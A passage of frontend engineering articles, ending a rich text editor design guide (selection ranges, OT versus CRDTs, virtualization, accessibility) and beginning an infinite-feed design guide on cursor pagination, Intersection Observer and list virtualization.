const selection = window.getSelection()
if (!selection || selection.rangeCount === 0) return

const range = selection.getRangeAt(0)

// Range boundaries
const { startContainer, startOffset, endContainer, endOffset } = range

// Check if selection is collapsed (cursor, no selection)
const isCollapsed = range.collapsed

// Get bounding rect for positioning UI (e.g., formatting toolbar)
const rect = range.getBoundingClientRect()
positionToolbar(rect.left, rect.top - 40)

// Programmatically set selection
const newRange = document.createRange()
newRange.setStart(textNode, 5)
newRange.setEnd(textNode, 10)
selection.removeAllRanges()
selection.addRange(newRange)
```

**Edge case: Selection across block boundaries**

When selection spans multiple blocks (e.g., from paragraph 1 to paragraph 3), `range.commonAncestorContainer` is their common parent. Iterating selected content requires walking the tree.

## Collaboration Architectures

### Operational Transform (OT)

OT transforms concurrent operations to maintain consistency. A central server determines operation order.

```
Timeline:
  Server: [v0] -----> [v1] -----> [v2]
                ↑           ↑
  Client A: op_a ----→      transform(op_a, op_b)
  Client B:      op_b ----→ transform(op_b, op_a)
```

**Transform function example:**

```typescript title="ot-transform.ts"
type Op = { type: "insert"; pos: number; text: string } | { type: "delete"; pos: number; len: number }

function transform(op1: Op, op2: Op): Op {
  // Transform op1 assuming op2 has already been applied
  if (op1.type === "insert" && op2.type === "insert") {
    if (op1.pos <= op2.pos) {
      return op1 // op1 is before op2, no change
    }
    return { ...op1, pos: op1.pos + op2.text.length }
  }

  if (op1.type === "insert" && op2.type === "delete") {
    if (op1.pos <= op2.pos) {
      return op1
    }
    if (op1.pos >= op2.pos + op2.len) {
      return { ...op1, pos: op1.pos - op2.len }
    }
    // Insert is within deleted range—complex case
    return { ...op1, pos: op2.pos }
  }

  // ... handle all operation type combinations
  return op1
}
```

**ProseMirror's simplification:**

Instead of transforming operations against operations, ProseMirror transforms positions through position maps:

```typescript title="prosemirror-collab.ts" collapse={1-2}
import { collab, sendableSteps, receiveTransaction } from "prosemirror-collab"

// Server sends: { version: 5, steps: [...], clientIDs: [...] }

// Apply remote steps
const tr = receiveTransaction(state, steps, clientIDs)
const newState = state.apply(tr)

// Send local steps
const sendable = sendableSteps(state)
if (sendable) {
  socket.send({
    version: sendable.version,
    steps: sendable.steps.map((s) => s.toJSON()),
    clientID: sendable.clientID,
  })
}
```

**OT trade-offs:**

- ✅ Proven at massive scale (Google Docs: hundreds of millions of users)
- ✅ Predictable ordering (server is authority)
- ✅ Efficient for real-time collaboration
- ❌ Central server is required and is a bottleneck
- ❌ Transform functions are complex and error-prone
- ❌ Offline editing requires careful conflict resolution on reconnect

### CRDTs (Conflict-free Replicated Data Types)

CRDTs embed metadata in the data structure itself, enabling automatic conflict-free merging without coordination.

```typescript title="yjs-integration.ts" collapse={1-4}
import * as Y from "yjs"
import { yXmlFragment } from "y-prosemirror"
import { WebsocketProvider } from "y-websocket"

// Create shared document
const ydoc = new Y.Doc()

// Create WebSocket provider for sync
const provider = new WebsocketProvider("wss://your-server.com", "document-room", ydoc)

// Get shared XML fragment for ProseMirror
const yXmlFragment = ydoc.getXmlFragment("prosemirror")

// Use in ProseMirror
import { ySyncPlugin, yCursorPlugin, yUndoPlugin } from "y-prosemirror"

const plugins = [ySyncPlugin(yXmlFragment), yCursorPlugin(provider.awareness), yUndoPlugin()]
```

**How Yjs handles text:**

Yjs uses YATA (Yet Another Transformation Approach), which assigns unique IDs to each character:

```
"Hello" → [(id1, 'H'), (id2, 'e'), (id3, 'l'), (id4, 'l'), (id5, 'o')]

User A inserts 'X' after 'l' (id3):
  → New item: (id6, 'X', parent: id3)

User B deletes 'l' (id4):
  → Mark id4 as deleted (tombstone)

Merge: Both operations apply. 'X' appears after first 'l', second 'l' is deleted.
Result: "HelXo"
```

**CRDT trade-offs:**

- ✅ No central server required (peer-to-peer possible)
- ✅ Native offline support—operations merge automatically
- ✅ Simpler mental model (no transform functions)
- ✅ Scales theoretically unlimited (no coordination needed)
- ❌ Metadata overhead (unique IDs for every character)
- ❌ Tombstones accumulate (deleted items leave markers)
- ❌ Some conflict resolutions are arbitrary (concurrent inserts at same position)

### Real-World Collaboration Implementations

| Product     | Approach                | Reason                                          |
| ----------- | ----------------------- | ----------------------------------------------- |
| Google Docs | OT                      | Proven at scale, team expertise                 |
| Figma       | CRDT (migrated from OT) | OT was "overkill" for design objects            |
| Notion      | OT-like (proprietary)   | Block-based operations are simpler than text OT |
| Linear      | Yjs (CRDT)              | Offline-first architecture                      |

Figma's CTO wrote: "For text, we still use OT because character-by-character sync benefits from its precision. For design objects, CRDT's simpler model is sufficient."

## Performance Optimization

### Virtualization for Large Documents

Documents with 100K+ words need virtualization—render only visible blocks.

```typescript title="virtual-document.ts" collapse={1-5}
import { useEffect, useState, useRef } from "react"

interface Block {
  id: string
  type: string
  content: string
}

function useVirtualBlocks(blocks: Block[], containerRef: React.RefObject<HTMLElement>) {
  const [visibleRange, setVisibleRange] = useState({ start: 0, end: 20 })

  useEffect(() => {
    const container = containerRef.current
    if (!container) return

    const observer = new IntersectionObserver(
      (entries) => {
        // Update visible range based on intersecting blocks
        const visible = entries.filter((e) => e.isIntersecting).map((e) => parseInt(e.target.dataset.index!, 10))

        if (visible.length > 0) {
          setVisibleRange({
            start: Math.max(0, Math.min(...visible) - 5),
            end: Math.min(blocks.length, Math.max(...visible) + 5),
          })
        }
      },
      { root: container, threshold: 0 },
    )

    // Observe sentinel elements at block positions
    return () => observer.disconnect()
  }, [blocks.length])

  return blocks.slice(visibleRange.start, visibleRange.end)
}
```

**Notion's approach:**

Notion renders blocks in visible viewport plus buffer. Each block type has an estimated height. On render, actual height is measured and cached. Trade-off accepted: small scroll position jumps when estimates are wrong.

### Slate.js Chunking

Slate can split large node children into memoized "chunks" for 10x rendering speedup:

```typescript title="slate-chunking.ts" collapse={1-4}
import { Editor, Element, Node } from "slate"

// Enable chunking for large lists
const withChunking = (editor: Editor): Editor => {
  editor.getChunkSize = (node: Node) => {
    if (Element.isElement(node) && node.children.length > 100) {
      return 50 // Chunk into groups of 50
    }
    return 0 // No chunking for small nodes
  }
  return editor
}
```

Combine with CSS `content-visibility: auto` to skip painting off-screen chunks.

### Memory Management

For very large documents:

| Technique         | Use Case             | Trade-off              |
| ----------------- | -------------------- | ---------------------- |
| Piece tables      | Text-heavy documents | Complexity for queries |
| Lazy node loading | Outline views        | Latency on expand      |
| WeakMap caches    | Computed values      | GC unpredictability    |
| LRU eviction      | Undo history         | Lost undo steps        |

## Accessibility

### ARIA Requirements

Rich text editors must announce their role and state to assistive technologies:

```html title="aria-editor.html"
<div role="textbox" aria-multiline="true" aria-label="Document editor" contenteditable="true">
  <!-- Content -->
</div>
```

For custom rendering (non-contentEditable):

```html title="aria-custom-editor.html"
<!-- Hidden textarea for screen reader announcements -->
<textarea aria-label="Document editor" class="sr-only" readonly></textarea>

<!-- Visual rendering -->
<div role="application" aria-label="Rich text editor">
  <div role="document">
    <!-- Rendered blocks with aria-* attributes -->
  </div>
</div>
```

### Keyboard Navigation

Required keyboard support:

| Key              | Action                                  |
| ---------------- | --------------------------------------- |
| Arrow keys       | Move cursor                             |
| Shift + Arrow    | Extend selection                        |
| Ctrl/Cmd + A     | Select all                              |
| Ctrl/Cmd + Z/Y   | Undo/redo                               |
| Ctrl/Cmd + B/I/U | Bold/italic/underline                   |
| Tab              | Indent (in lists) or focus next element |
| Escape           | Exit formatting mode or nested block    |

### Screen Reader Testing

Test with actual screen readers:

| Screen Reader | Browser         | Platform   |
| ------------- | --------------- | ---------- |
| NVDA          | Firefox, Chrome | Windows    |
| JAWS          | Chrome, Edge    | Windows    |
| VoiceOver     | Safari          | macOS, iOS |
| TalkBack      | Chrome          | Android    |

Known issue: JAWS 17 with Firefox doesn't recognize some contentEditable structures as editable. Always test combinations.

## Common Pitfalls

### 1. Fighting contentEditable

**Problem**: Trying to enforce structure in contentEditable that browsers don't support.

**Symptom**: Pressing Enter in a heading creates `<div>` instead of `<p>`. Backspace at start of list item behaves inconsistently.

**Solution**: Use a framework that abstracts contentEditable (ProseMirror, Tiptap) or abandon it entirely (Lexical).

### 2. Ignoring IME

**Problem**: Editor works perfectly with English but corrupts Chinese/Japanese/Korean input.

**Symptom**: Characters appear doubled, composition UI flickers, or text disappears.

**Solution**: Handle `compositionstart`/`compositionend` events. Don't `preventDefault` on `insertCompositionText`.

### 3. Undo Granularity

**Problem**: Each character is a separate undo step, making undo tedious.

**Solution**: Debounce undo checkpoints. Group consecutive typing into single undo entries. Separate formatting changes from content changes.

```typescript title="undo-debounce.ts"
let undoTimeout: number | null = null

function onInput() {
  if (undoTimeout) clearTimeout(undoTimeout)

  // Don't create undo entry yet
  applyChangeWithoutUndoEntry()

  // Create undo entry after 500ms of no input
  undoTimeout = window.setTimeout(() => {
    createUndoEntry()
    undoTimeout = null
  }, 500)
}
```

### 4. Memory Leaks in Collaboration

**Problem**: Real-time sync accumulates state without cleanup.

**Symptom**: Memory usage grows over long editing sessions.

**Solution**:

- Garbage collect CRDT tombstones periodically
- Limit undo history depth
- Disconnect inactive presence cursors

### 5. Selection Restoration After Async Operations

**Problem**: Async operations (paste processing, mention lookup) lose cursor position.

**Solution**: Capture selection before async operation, restore after:

```typescript title="selection-restoration.ts"
async function handlePaste(html: string) {
  // Capture current selection
  const savedSelection = editor.selection

  // Async processing
  const processed = await processHtml(html)

  // Restore selection before applying
  editor.withoutNormalizing(() => {
    if (savedSelection) {
      Transforms.select(editor, savedSelection)
    }
    Transforms.insertFragment(editor, processed)
  })
}
```

## Real-World Examples

### Notion: Block-Based Editor

**Challenge**: Pages with 10K+ blocks, each potentially different height.

**Architecture**:

- Everything is a block (text, images, databases, embeds)
- UUID v4 for unique IDs
- Parent pointers enable permission inheritance
- Content arrays enable nesting

**Performance strategy**:

- Render visible viewport + buffer
- Estimate heights by block type
- Measure and cache on render

**Outcome**: < 100ms Time to Interactive (TTI) for most pages.

### Linear: Offline-First Issue Tracker

**Challenge**: Real-time sync with offline support.

**Architecture**:

- Yjs CRDT for all content
- Local-first: changes apply immediately to local state
- Sync happens opportunistically when online

**Stack**: Yjs + IndexedDB (local) + WebSocket (sync)

**Trade-off accepted**: Occasional merge conflicts in descriptions—acceptable for issue tracking where conflicts are rare.

### Google Docs: OT at Scale

**Challenge**: Hundreds of millions of concurrent users.

**Architecture**:

- Operational Transform with central server
- Optimistic local application (user sees changes instantly)
- Server transforms and broadcasts to other clients

**Why not CRDT?**: OT was mature when Docs was built. The team had deep OT expertise. At their scale, metadata overhead of CRDTs would be significant.

## Conclusion

Rich text editor design comes down to matching constraints to trade-offs:

1. **For simple content with fast time-to-market**: Use Quill. Accept browser inconsistencies.

2. **For complex structures with collaboration**: Use ProseMirror/Tiptap. The schema enforces validity; prosemirror-collab handles sync.

3. **For pixel-perfect control and performance**: Use Lexical. Accept the cost of implementing IME and accessibility manually.

4. **For offline-first applications**: Use Yjs with any editor. CRDT handles merge automatically.

No editor framework solves all problems. The best choice depends on your document complexity, collaboration requirements, and team expertise.

## Appendix

### Prerequisites

- DOM APIs (Selection, Range, MutationObserver)
- Event handling (beforeinput, composition events)
- React or framework fundamentals (for ProseMirror/Lexical/Slate)
- Basic understanding of distributed systems (for collaboration)

### Terminology

| Term                 | Definition                                                                                      |
| -------------------- | ----------------------------------------------------------------------------------------------- |
| **contentEditable**  | Browser attribute enabling native text editing in any element                                   |
| **IME**              | Input Method Editor—system component for composing characters in CJK and other languages        |
| **OT**               | Operational Transform—algorithm for transforming concurrent operations to maintain consistency  |
| **CRDT**             | Conflict-free Replicated Data Type—data structure enabling automatic merge without coordination |
| **Transaction**      | Atomic unit of change in ProseMirror/Lexical; contains operations and metadata                  |
| **Schema**           | Definition of valid document structure (nodes, marks, constraints)                              |
| **Mark**             | Inline annotation (bold, italic, link) applied to text without changing structure               |
| **Node**             | Structural element in document tree (paragraph, heading, list item)                             |
| **Position mapping** | Translating document positions across changes (critical for collaboration)                      |
| **Tombstone**        | Marker for deleted items in CRDTs (enables merge but accumulates memory)                        |

### Summary

- **Document models**: Linear (Quill Delta) is OT-friendly but limits nesting; hierarchical (ProseMirror, Slate, Lexical) enables complex structures.
- **Rendering**: contentEditable provides native behavior but inconsistently; custom rendering gives control but requires reimplementing selection and IME.
- **Collaboration**: OT is proven at scale with central server; CRDT enables peer-to-peer and offline-first but has metadata overhead.
- **Performance**: Virtualization is essential for large documents; chunking and memoization reduce React/DOM overhead.
- **Accessibility**: ARIA attributes are required; screen reader testing must cover NVDA, JAWS, and VoiceOver.

### References

- [W3C Input Events Level 2 Specification](https://w3c.github.io/input-events/) - Authoritative reference for beforeinput event
- [W3C contentEditable Specification](https://w3c.github.io/contentEditable/) - Current state and known issues
- [ProseMirror Guide](https://prosemirror.net/docs/guide/) - Marijn Haverbeke's comprehensive documentation
- [ProseMirror Collaborative Editing](https://prosemirror.net/docs/guide/#collab) - Position mapping approach to collaboration
- [Collaborative Editing in ProseMirror](https://marijnhaverbeke.nl/blog/collaborative-editing.html) - Marijn Haverbeke's design rationale
- [Lexical Documentation](https://lexical.dev/docs/intro) - Meta's editor framework
- [Slate.js Documentation](https://docs.slatejs.org/) - Plugin-first architecture
- [Quill Delta Format](https://quilljs.com/docs/delta/) - Linear operation format
- [Yjs Documentation](https://docs.yjs.dev/) - High-performance CRDT library
- [Notion's Data Model](https://www.notion.com/blog/data-model-behind-notion) - Block-based architecture
- [CKEditor: Lessons from Real-Time Collaboration](https://ckeditor.com/blog/lessons-learned-from-creating-a-rich-text-editor-with-real-time-collaboration/) - Production implementation insights
- [Why contentEditable Is Terrible](https://medium.engineering/why-contenteditable-is-terrible-122d8a40e480) - Medium engineering's experience
- [MDN: Selection API](https://developer.mozilla.org/en-US/docs/Web/API/Selection) - Browser selection handling
- [MDN: beforeinput Event](https://developer.mozilla.org/en-US/docs/Web/API/Element/beforeinput_event) - Input event reference

---

## Design an Infinite Feed

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/design-infinite-feed
**Category:** System Design / Frontend System Design
**Description:** Building infinite scrolling feed interfaces that scale from hundreds to millions of items while maintaining 60fps scroll performance. This article covers pagination strategies, scroll detection, virtualization, state management, and accessibility patterns that power feeds at Twitter, Instagram, and LinkedIn.

# Design an Infinite Feed

Building infinite scrolling feed interfaces that scale from hundreds to millions of items while maintaining 60fps scroll performance. This article covers pagination strategies, scroll detection, virtualization, state management, and accessibility patterns that power feeds at Twitter, Instagram, and LinkedIn.

<figure>

![Infinite feed architecture: Intersection Observer triggers pagination when sentinel enters viewport; cursor-based queries return stable pages; virtualization renders only visible items from memory cache.](./infinite-feed-architecture-intersection-observer-triggers-pagination-when-sentin.svg)

<figcaption>Infinite feed architecture: Intersection Observer triggers pagination when sentinel enters viewport; cursor-based queries return stable pages; virtualization renders only visible items from memory cache.</figcaption>
</figure>

## Abstract

Infinite feeds combine three distinct challenges: stable pagination over dynamic data, efficient scroll detection, and rendering performance at scale.

**The core mental model:**

1. **Pagination layer**: Cursor-based pagination provides stable traversal. Each page returns a next cursor encoding the position in the dataset—immune to insertions/deletions unlike offset pagination.

2. **Detection layer**: Intersection Observer watches sentinel elements near viewport edges. When a sentinel becomes visible, trigger the next fetch. No scroll event handlers, no forced reflows.

3. **Rendering layer**: Virtualization limits DOM nodes to visible items plus overscan buffer. A 10,000-item feed renders ~30 DOM nodes regardless of total size.

**Key design decisions:**

- **Cursor encoding**: Opaque vs transparent affects debugging and security. Compound cursors (timestamp + ID) handle ties.
- **Loading threshold**: Fixed distance (200px) vs adaptive (2x fetch time × scroll velocity) affects perceived performance.
- **Virtualization strategy**: Fixed-height (simple, predictable) vs variable-height (measures on render, potential scroll jumps).
- **New item handling**: Prepend and scroll (disorienting) vs "X new items" banner (user-controlled).

At scale (millions of items), memory management becomes critical. Limit cached pages, tombstone off-screen content, or offload to IndexedDB.

## The Challenge

### Why Offset Pagination Fails

The naive approach—`OFFSET` and `LIMIT`—breaks for dynamic feeds:

```sql
SELECT * FROM posts ORDER BY created_at DESC LIMIT 20 OFFSET 40;
```

**Race condition**: User fetches page 3 at offset 40. A new post is inserted. User fetches page 4 at offset 60. The item that was at position 60 is now at 61—user sees duplicate or misses content entirely.

**Performance degradation**: The database scans and discards `OFFSET` rows before returning results. At offset 1,000,000, the query reads 1M+ rows.

| Dataset Size | Offset Query | Cursor Query |
| ------------ | ------------ | ------------ |
| 1M items     | ~500ms       | <10ms        |
| 10M items    | ~10 seconds  | <10ms        |
| 50M items    | ~35 seconds  | <10ms        |

Offset pagination works for admin interfaces with stable data and direct page access. It fails for real-time feeds where content changes between requests.

### Browser Constraints

**Main thread budget**: 60fps requires completing all work in 16.67ms per frame. Scroll handlers that force layout recalculation steal from this budget.

**DOM node limits**: Browsers struggle above 10,000 nodes. Each node consumes ~1KB memory. A naive 50,000-item feed uses 50MB+ just for DOM overhead, causing garbage collection pauses and scroll jank.

**Memory pressure**: Mobile Safari caps tabs at ~1GB. Chrome on Android varies by device. Large feeds must actively manage memory or face tab crashes.

### User Experience Requirements

| Requirement        | Constraint                              |
| ------------------ | --------------------------------------- |
| Scroll smoothness  | 60fps, no jank during fetch             |
| Load latency       | <200ms perceived wait                   |
| Position stability | No jumps when new content loads         |
| Back navigation    | Return to previous scroll position      |
| New content        | Discoverable without disrupting reading |

## Design Paths

### Path 1: Intersection Observer + Cursor Pagination

**Architecture:**

```
┌─────────────────────────────────────┐
│         Scrollable Container         │
├─────────────────────────────────────┤
│  [Top Sentinel - for bidirectional] │
│  ┌─────────────────────────────────┐│
│  │         Item 1                  ││
│  ├─────────────────────────────────┤│
│  │         Item 2                  ││
│  ├─────────────────────────────────┤│
│  │         ...                     ││
│  ├─────────────────────────────────┤│
│  │         Item N                  ││
│  └─────────────────────────────────┘│
│  [Bottom Sentinel - triggers load]  │
└─────────────────────────────────────┘
```

**How it works:**

Intersection Observer monitors a sentinel element positioned below visible content. When the sentinel enters the viewport (or approaches via `rootMargin`), callback fires to fetch the next page using the stored cursor.

```typescript collapse={1-2}
type FeedItem = { id: string; content: string; createdAt: string }
type PageResponse = { items: FeedItem[]; nextCursor: string | null }

function createFeedObserver(onLoadMore: () => void, options: { rootMargin?: string; threshold?: number } = {}) {
  const { rootMargin = "0px 0px 200px 0px", threshold = 0 } = options

  return new IntersectionObserver(
    (entries) => {
      const [entry] = entries
      if (entry.isIntersecting) {
        onLoadMore()
      }
    },
    { rootMargin, threshold },
  )
}

// Usage
const sentinel = document.getElementById("load-more-sentinel")
const observer = createFeedObserver(() => fetchNextPage(currentCursor))
observer.observe(sentinel)
```

**Best for:**

- Social media feeds (Twitter, Instagram, LinkedIn)
- Comment threads with unknown depth
- Search results with many pages
- Any feed where content changes frequently

**Device/network profile:**

| Condition      | Behavior                                  |
| -------------- | ----------------------------------------- |
| Fast network   | Seamless loading, buffer always full      |
| Slow 3G        | Visible loading states, may show spinners |
| Offline        | Shows cached content, queues refetch      |
| Low-end mobile | Works well (no scroll handlers)           |

**Implementation complexity:**

| Aspect                | Effort |
| --------------------- | ------ |
| Initial setup         | Low    |
| Bidirectional loading | Medium |
| Error recovery        | Medium |
| Scroll restoration    | High   |

**Trade-offs:**

- ✅ No main thread blocking
- ✅ Battery efficient
- ✅ Works with virtualization
- ❌ No direct page jumping
- ❌ Total count often unknown

### Path 2: Virtualized Infinite List

**Architecture:**

```
┌──────────────────────────────────────┐
│    Scroll Container (fixed height)    │
│  ┌────────────────────────────────┐  │
│  │   Spacer: items 0-14           │  │  ← height = 14 × itemHeight
│  ├────────────────────────────────┤  │
│  │   Rendered: items 15-25        │  │  ← actual DOM nodes
│  ├────────────────────────────────┤  │
│  │   Spacer: items 26-999         │  │  ← height = remaining × itemHeight
│  └────────────────────────────────┘  │
│  [Sentinel: triggers load at item 990]│
└──────────────────────────────────────┘
```

**How it works:**

Virtualization renders only visible items plus an overscan buffer. As user scrolls, items are added/removed from DOM while spacer elements maintain correct scroll height. Combined with cursor pagination, this handles infinite datasets with bounded memory.

```typescript collapse={1-8, 28-45}
import { useVirtualizer } from '@tanstack/react-virtual';
import { useInfiniteQuery } from '@tanstack/react-query';
import { useRef, useEffect } from 'react';

type FeedItem = { id: string; content: string };
type PageResponse = { items: FeedItem[]; nextCursor: string | null };

const ITEMS_PER_PAGE = 20;

function VirtualizedFeed() {
  const parentRef = useRef<HTMLDivElement>(null);

  const { data, fetchNextPage, hasNextPage, isFetchingNextPage } =
    useInfiniteQuery({
      queryKey: ['feed'],
      queryFn: ({ pageParam }) => fetchFeedPage(pageParam),
      getNextPageParam: (lastPage) => lastPage.nextCursor,
      initialPageParam: null as string | null,
    });

  const allItems = data?.pages.flatMap((page) => page.items) ?? [];

  const virtualizer = useVirtualizer({
    count: hasNextPage ? allItems.length + 1 : allItems.length,
    getScrollElement: () => parentRef.current,
    estimateSize: () => 100, // Estimated item height
    overscan: 5,
  });

  // Trigger load when approaching end
  useEffect(() => {
    const lastItem = virtualizer.getVirtualItems().at(-1);
    if (!lastItem) return;

    if (
      lastItem.index >= allItems.length - 1 &&
      hasNextPage &&
      !isFetchingNextPage
    ) {
      fetchNextPage();
    }
  }, [virtualizer.getVirtualItems(), hasNextPage, isFetchingNextPage]);

  return (
    <div ref={parentRef} style={{ height: '100vh', overflow: 'auto' }}>
      <div style={{ height: virtualizer.getTotalSize(), position: 'relative' }}>
        {virtualizer.getVirtualItems().map((virtualItem) => (
          <div
            key={virtualItem.key}
            style={{
              position: 'absolute',
              top: 0,
              left: 0,
              width: '100%',
              transform: `translateY(${virtualItem.start}px)`,
            }}
          >
            {virtualItem.index < allItems.length ? (
              <FeedItemComponent item={allItems[virtualItem.index]} />
            ) : (
              <LoadingPlaceholder />
            )}
          </div>
        ))}
      </div>
    </div>
  );
}
```

**Best for:**

- Feeds with 1,000+ items
- Long-lived sessions (email clients, social apps)
- Memory-constrained mobile devices
- Consistent scroll performance requirements

**Performance characteristics:**

| Metric         | Value              |
| -------------- | ------------------ |
| DOM nodes      | O(viewport) ~20-50 |
| Memory         | O(pages in cache)  |
| Scroll FPS     | 60fps              |
| Initial render | <50ms              |

**Trade-offs:**

- ✅ Handles 100K+ items
- ✅ Bounded memory growth
- ✅ Consistent scroll performance
- ❌ Complex scroll restoration
- ❌ Variable heights add complexity
- ❌ Find-in-page browser feature breaks

### Path 3: Hybrid with Load More Button

**Architecture:**

Infinite scroll for the common case with an explicit "Load more" button as fallback. Useful for accessibility compliance and user preference.

```typescript collapse={1-5}
import { useState } from 'react';

type LoadMode = 'auto' | 'manual';
type FeedItem = { id: string; content: string };

function HybridFeed({ userPreference }: { userPreference: LoadMode }) {
  const [mode, setMode] = useState(userPreference);
  const { data, fetchNextPage, hasNextPage, isFetching } = useInfiniteQuery({
    /* ... */
  });

  return (
    <div>
      <ModeToggle mode={mode} onChange={setMode} />

      <FeedList items={data?.pages.flatMap((p) => p.items) ?? []} />

      {hasNextPage && mode === 'manual' && (
        <button onClick={() => fetchNextPage()} disabled={isFetching}>
          Load more
        </button>
      )}

      {hasNextPage && mode === 'auto' && (
        <IntersectionSentinel onVisible={() => fetchNextPage()} />
      )}
    </div>
  );
}
```

**Best for:**

- Accessibility-focused applications
- Users with motor disabilities
- Sites requiring footer access
- When user preference varies

**Trade-offs:**

- ✅ User control over loading
- ✅ Footer always accessible
- ✅ Reduces cognitive load
- ❌ Extra click per page
- ❌ More UI complexity

### Decision Matrix

| Factor             | IO + Cursor  | Virtualized | Hybrid |
| ------------------ | ------------ | ----------- | ------ |
| Items < 100        | ✓ (overkill) | ✗           | ✓      |
| Items 100-1K       | ✓            | Optional    | ✓      |
| Items > 1K         | ✓            | Required    | ✓      |
| Variable heights   | Easy         | Complex     | Easy   |
| Scroll restoration | Medium       | Hard        | Medium |
| Accessibility      | Good         | Harder      | Best   |
| Implementation     | Low          | High        | Medium |

## Cursor-Based Pagination

### Cursor Encoding Strategies

**Opaque Base64 (recommended):**

```typescript
function encodeCursor(createdAt: Date, id: string): string {
  return Buffer.from(JSON.stringify({ createdAt: createdAt.toISOString(), id })).toString("base64")
}

function decodeCursor(cursor: string): { createdAt: Date; id: string } {
  const { createdAt, id } = JSON.parse(Buffer.from(cursor, "base64").toString())
  return { createdAt: new Date(createdAt), id }
}
```

**Why compound cursors:**

Single-field cursors (timestamp only) break when multiple items share the same timestamp. Compound cursors include a unique tiebreaker (usually ID):

```sql
-- Keyset pagination with compound cursor
SELECT id, created_at, content FROM posts
WHERE (created_at, id) < ('2024-01-15T12:00:00Z', 'abc123')
ORDER BY created_at DESC, id DESC
LIMIT 20;
```

The tuple comparison `(created_at, id) < (cursor_timestamp, cursor_id)` provides deterministic ordering even with identical timestamps.

**Signed cursors** prevent tampering:

```typescript collapse={1-3}
import crypto from "crypto"

const SECRET = process.env.CURSOR_SECRET!

function signCursor(payload: object): string {
  const data = JSON.stringify(payload)
  const signature = crypto.createHmac("sha256", SECRET).update(data).digest("hex")
  return Buffer.from(`${data}|${signature}`).toString("base64")
}

function verifyCursor(cursor: string): object | null {
  const decoded = Buffer.from(cursor, "base64").toString()
  const [data, signature] = decoded.split("|")
  const expected = crypto.createHmac("sha256", SECRET).update(data).digest("hex")

  if (!crypto.timingSafeEqual(Buffer.from(signature), Buffer.from(expected))) {
    return null // Tampered
  }
  return JSON.parse(data)
}
```

### API Response Shape

```typescript
interface PaginatedResponse<T> {
  items: T[]
  nextCursor: string | null // null indicates end
  prevCursor?: string | null // For bidirectional
  hasMore: boolean // Explicit flag
  totalCount?: number // Optional, expensive to compute
}
```

**Design decision**: `nextCursor: null` vs `hasMore: false`

Both work. `hasMore` is more explicit but redundant. `nextCursor === null` is sufficient and reduces payload size.

### Bidirectional Pagination

Required for:

- Chat apps (scroll up for history)
- Feeds with "new items above"
- Deep-linked content in middle of feed

```typescript
const { data, fetchNextPage, fetchPreviousPage, hasNextPage, hasPreviousPage } = useInfiniteQuery({
  queryKey: ["feed"],
  queryFn: ({ pageParam }) => fetchPage(pageParam),
  getNextPageParam: (lastPage) => lastPage.nextCursor,
  getPreviousPageParam: (firstPage) => firstPage.prevCursor,
  initialPageParam: { cursor: startCursor, direction: "forward" },
})
```

## Scroll Detection

### Intersection Observer Configuration

```typescript
const observer = new IntersectionObserver(callback, {
  root: null, // null = viewport
  rootMargin: "0px 0px 200px 0px", // Trigger 200px before visible
  threshold: 0, // Fire as soon as any part intersects
})
```

**rootMargin** creates an invisible boundary. `'0px 0px 200px 0px'` extends the bottom edge 200px, triggering the callback before the sentinel is actually visible.

**threshold** values:

- `0`: Any intersection (pixel enters)
- `1.0`: Fully visible
- `[0, 0.5, 1.0]`: Fire at 0%, 50%, 100%

**Multiple sentinels** for bidirectional loading:

```typescript collapse={1-2}
type Direction = "forward" | "backward"
type LoadHandler = (direction: Direction) => void

function createBidirectionalObserver(onLoad: LoadHandler) {
  return new IntersectionObserver(
    (entries) => {
      entries.forEach((entry) => {
        if (!entry.isIntersecting) return

        const direction = entry.target.id === "top-sentinel" ? "backward" : "forward"
        onLoad(direction)
      })
    },
    { rootMargin: "200px" },
  )
}
```

### Adaptive Loading Threshold

Fixed 200px threshold works for average conditions. Adaptive threshold adjusts based on:

1. **Scroll velocity**: Fast scrollers need more prefetch buffer
2. **Network latency**: Slow connections need earlier trigger
3. **Device performance**: Low-end devices need more breathing room

```typescript collapse={1-4}
type AdaptiveConfig = {
  avgFetchTime: number
  scrollVelocity: number
}

function calculateRootMargin({ avgFetchTime, scrollVelocity }: AdaptiveConfig): string {
  // Load when user will reach end in ~2x fetch time
  const pixelsNeeded = scrollVelocity * (avgFetchTime / 1000) * 2
  const minMargin = 200
  const maxMargin = 800

  const margin = Math.max(minMargin, Math.min(maxMargin, pixelsNeeded))
  return `0px 0px ${margin}px 0px`
}
```

### Preventing Duplicate Requests

Rapid scrolling can trigger multiple Intersection Observer callbacks before the first request completes.

**Request deduplication:**

```typescript collapse={1-3}
let currentController: AbortController | null = null
let isLoading = false

async function fetchNextPageSafe(cursor: string) {
  if (isLoading) return // Already fetching

  // Cancel any stale request
  currentController?.abort()
  currentController = new AbortController()
  isLoading = true

  try {
    const response = await fetch(`/api/feed?cursor=${cursor}`, {
      signal: currentController.signal,
    })
    return await response.json()
  } catch (error) {
    if (error instanceof Error && error.name === "AbortError") {
      return null // Cancelled, ignore
    }
    throw error
  } finally {
    isLoading = false
  }
}
```

Libraries like TanStack Query handle this automatically via query keys and automatic request deduplication.

## Virtualization Strategies

### Fixed-Height Virtualization

When all items have identical height, position calculation is O(1):

```typescript
const startIndex = Math.floor(scrollTop / itemHeight)
const endIndex = Math.min(startIndex + Math.ceil(viewportHeight / itemHeight) + overscan, totalItems)
const offsetY = startIndex * itemHeight
```

**react-window FixedSizeList:**

```typescript collapse={1-4}
import { FixedSizeList } from 'react-window';

type ItemData = { items: Array<{ id: string; content: string }> };

function FeedList({ items }: { items: ItemData['items'] }) {
  return (
    <FixedSizeList
      height={600}
      itemCount={items.length}
      itemSize={80}
      width="100%"
      itemData={{ items }}
    >
      {({ index, style, data }) => (
        <div style={style}>
          <FeedItem item={data.items[index]} />
        </div>
      )}
    </FixedSizeList>
  );
}
```

**Best for**: Log viewers, simple message lists, any uniform content.

### Variable-Height Virtualization

Real-world feeds have variable content: images, different text lengths, embeds. This requires measurement.

**Challenges:**

1. Heights unknown until render
2. Scroll position jumps when estimates are corrected
3. Bidirectional scrolling destabilizes layout

**react-virtuoso** handles this automatically:

```typescript collapse={1-3}
import { Virtuoso } from 'react-virtuoso';

type FeedItem = { id: string; content: string; hasImage: boolean };

function VariableFeed({ items }: { items: FeedItem[] }) {
  return (
    <Virtuoso
      data={items}
      itemContent={(index, item) => <FeedItem item={item} />}
      endReached={() => fetchNextPage()}
      overscan={200} // Pixels, not items
      increaseViewportBy={{ top: 200, bottom: 200 }}
    />
  );
}
```

